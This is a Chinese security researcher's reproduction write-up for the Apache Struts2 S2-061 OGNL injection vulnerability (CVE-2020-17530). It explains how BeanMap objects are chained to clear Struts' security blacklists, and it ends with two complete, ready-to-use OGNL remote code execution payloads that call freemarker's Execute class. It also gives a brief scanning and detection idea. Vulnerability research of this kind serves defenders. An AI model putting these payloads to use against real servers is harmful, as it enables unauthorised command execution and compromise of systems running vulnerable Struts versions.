# （CVE-2020-17530）S2-061

## 漏洞描述

本次漏洞是对`S2-059`漏洞修复后的绕过。`S2-059`的修复补丁仅修复了沙盒绕过，但是并没有修复OGNL表达式的执行。但是在最新版本`2.5.26`版本中OGNL表达式的执行也修复了。

 

## 漏洞影响版本

```
struts 2.0.0 - struts 2.5.25
```

 

## 漏洞分析

本文仅是对`S2-061`进行复现，并且对复现的过程进行记录，具体的分析思路可以参考 [安恒信息安全研究院-Struts2 S2-061漏洞分析(CVE-2020-17530)](https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g)

*Smi1e*师傅tql 膜了 呜呜呜

 

## 漏洞复现

### 测试环境

```
    IDEA 2019.3.5
    Struts2 2.5.26/Struts2 2.3.33
    Apache-Tomcat-8.5.57
```

### 相关依赖包

------

> 注意，搭建测试环境的时候，除了下载struts2的最小依赖包(`struts-2.x.xx-min-lib.zip`)以外，本次的环境，还需要依赖同版本包下的`commons-collections-x.x.jar`，可以在`struts-2.x.xx-lib.zip`中找到版本对应的包，后续会说明为什么一定需要这个包。

2.3.3相关依赖包

[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01af16c23332dea10c.png)](https://p1.ssl.qhimg.com/t01af16c23332dea10c.png)

2.5.25相关依赖包

[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01eb70f4425f4ccda6.png)](https://p3.ssl.qhimg.com/t01eb70f4425f4ccda6.png)

### 复现思路简略说明（具体思路请移步上文中的漏洞分析文章）

首先找到**struts2**标签解析的入口，也是我们本次漏洞**Debug**跟踪的重点。

[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01c8a8c1fbcfa0e98b.png)](https://p1.ssl.qhimg.com/t01c8a8c1fbcfa0e98b.png)

全方法名：`org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag`

这里是标签解析的开始方法，同时这里能够观测到整个`OgnlValueStack`对象，也是我们开始寻找利用点的地方。

其中我们本次要使用的利用点就stack中断点可以找到（这一步在前面的思路分析中可以找到，但是因为debug点没有描述清楚，一开始找了很久，最后在查阅其他版本的文章分析才找到这个位置）:

[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01b8b198a68619856c.png)](https://p2.ssl.qhimg.com/t01b8b198a68619856c.png)

从上文中的位置，我们可以得到获取这个对象的获取调用链，如下图

[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t017c67f80e473f864e.png)](https://p5.ssl.qhimg.com/t017c67f80e473f864e.png)

转换为ognl表达式后如下：`#application.get('org.apache.tomcat.InstanceManager')`

`org.apache.catalina.core.DefaultInstanceManager` 的方法不做过多描述，借用分析文章中的一张图，可以使用这个对象中的`newInstance`方法实例化任意无参构造方法的类并返回。

[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01e02bcee321468f8b.png)](https://p5.ssl.qhimg.com/t01e02bcee321468f8b.png)

创建`org.apache.commons.collections.BeanMap`对象(本次的漏洞复现的主角，同时这个包就在`commons-collections-x.x.jar`中)

[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t018d8bd1870f920902.png)](https://p0.ssl.qhimg.com/t018d8bd1870f920902.png)

API简要描述（若想看详细方法分析，请移步到上文的分析文章）:

```
       Object get("xxxx")            实际相当于调用内部对象的getXxx,比如getName()
       Object put("xxxx",Object)    实际相当于调用内部对象的,setXxxx,比如setName()
       void setBean(Object)        重新设置内部对象，设置完成后上面两个才能生效
       Object getBean()            获取内部对象，这里可以在断点的时候查看到当前map中的实际对象
```

整体创建的Ognl表达式（这里存放到application中，方便多次请求使用）

```
%{#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')}
```

获取到`OgnlContext`对象 （实际就是`#attr` 、`#request` 等map对象中的 `struts.valueStack`）并且设置到上一步的BeanMap中，用于绕过沙盒限制，进行内部方法调用。

[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01e4878c6396e917f0.png)](https://p2.ssl.qhimg.com/t01e4878c6396e917f0.png)

Ognl表达式代码

```
%{#application.map.setBean(#request.get('struts.valueStack'))}
```

使用3和4同样的原理，利用 `BeanMap`使用`com.opensymphony.xwork2.ognl.OgnlValueStack` 中的 `getContext` 方法间接获取到 `OgnlContext`,并且重新设置到一个新的BeanMap中。

[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t010834ecdfe2788525.png)](https://p4.ssl.qhimg.com/t010834ecdfe2788525.png)

这里把两个步骤的Ognl代码同时贴出来

```
   # 注意，自行调试的话，需要分两次执行
   %{#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')}

   %{#application.map2.setBean(#application.get('map').get('context'))}
```

使用上面的原理，使用第二步得到的`OgnlContext`获取到内部的`com.opensymphony.xwork2.ognl.SecurityMemberAccess`对象，在设置到新的BeanMap中，用于重置黑名单

[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t011ca666d244cfde75.png)](https://p0.ssl.qhimg.com/t011ca666d244cfde75.png)

```
# 注意，自行调试的话，需要分两次执行
%{#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')}

%{#application.map3.setBean(#application.get('map2').get('memberAccess'))}
```

确认一下之前存放的Map都正确存下来了，不然岂不是白忙活，其实每一步执行完后，都可以查看一次，确认每一步都是操作正确的，这里我就一次过了。

[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t013ad7a8fe1ab70f12.png)](https://p3.ssl.qhimg.com/t013ad7a8fe1ab70f12.png)

前面的操作都确认没有问题后，就可以调用方法重置黑名单了，主要API为`com.opensymphony.xwork2.ognl.SecurityMemberAccess#setExcludedClasses`和`com.opensymphony.xwork2.ognl.SecurityMemberAccess#setExcludedPackageNames`,如下图

[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01c2e6c54f3ae65a16.png)](https://p3.ssl.qhimg.com/t01c2e6c54f3ae65a16.png)

在我们这两个地方打了断点后，我们请求下面或者前面的ognl可以发现，在每次收到请求的时候，都会调用一次这里的黑名单赋值，也就是说，就算是我们在本次请求重置了黑名单，在下次请求的时候，黑名单还是会重置。因此只有前面的ognl可以持久化存储，实际利用的时候，必须要在一个请求中进行命令执行。下文还会有一个存放在`request`中的poc。

初次请求赋值:

[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t0142df8c70636a114c.png)](https://p1.ssl.qhimg.com/t0142df8c70636a114c.png)

[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01379e24755f960042.png)](https://p0.ssl.qhimg.com/t01379e24755f960042.png)

执行下面清空黑名单代码的重新赋值

[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01d2429986989dd32b.png)](https://p4.ssl.qhimg.com/t01d2429986989dd32b.png)

[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t01baaac573fe9b5d3a.png)](https://p1.ssl.qhimg.com/t01baaac573fe9b5d3a.png)

清7空黑名单的ognl代码

```
# 注意，自行调试的话，需要分两次执行
   #application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet'))

   #application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet'))
```

这里就可以使用黑名单中的`freemarker.template.utility.Execute`类中的`exec`方法执行Shell了。需要最少和前面的8一起使用，才能执行成功。可以直接使用最后面的完整poc代码执行。

[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t014b4b37153a9ab5bc.png)](https://p2.ssl.qhimg.com/t014b4b37153a9ab5bc.png)

[![img](resource/%EF%BC%88CVE-2020-17530%EF%BC%89S2-061/media/t0107791381f8c2bd7b.png)](https://p2.ssl.qhimg.com/t0107791381f8c2bd7b.png)

执行shell的ognl代码

```
#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'})
```

 

## 完整POC

### 使用application，就是上面思路的完整POC

```
%{
(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
(#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + 

(#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + 


(#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
(#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + 

(#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + 
(#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +

(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))
}
```

### 使用request，单次请求有效的完整POC (推荐)

```
%{
(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + 

(#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + 


(#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + 

(#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + 
(#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +

(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))
}
```

> 注意：请使用url对以上的OGNL代码编码后，再在工具上使用。

 

## 检测思路

在新版本的struts2中，已经不能通过参数构造来解析ognl表达式了，所以如果考虑想要使用脚本来进行批量扫描是否有本漏洞的时候，可以考虑直接爆破所有参数，然后判断页面中是否有预计的结果文本即可。

比如：

 %{ ‘gcowsec-‘ + (2000 + 20).toString()}

预计会得到

 gcowsec-2020

使用脚本判断结果中是否包含就可以了

 

## 总结

此次漏洞只是`S2-059`修复的一个绕过，并且本次利用的核心类`org.apache.commons.collections.BeanMap`在`commons-collections-x.x.jar`包中，但是在官方的最小依赖包中并没有包含这个包。所以即使扫到了支持OGNL表达式的注入点，但是如果没有使用这个依赖包，也还是没办法进行利用。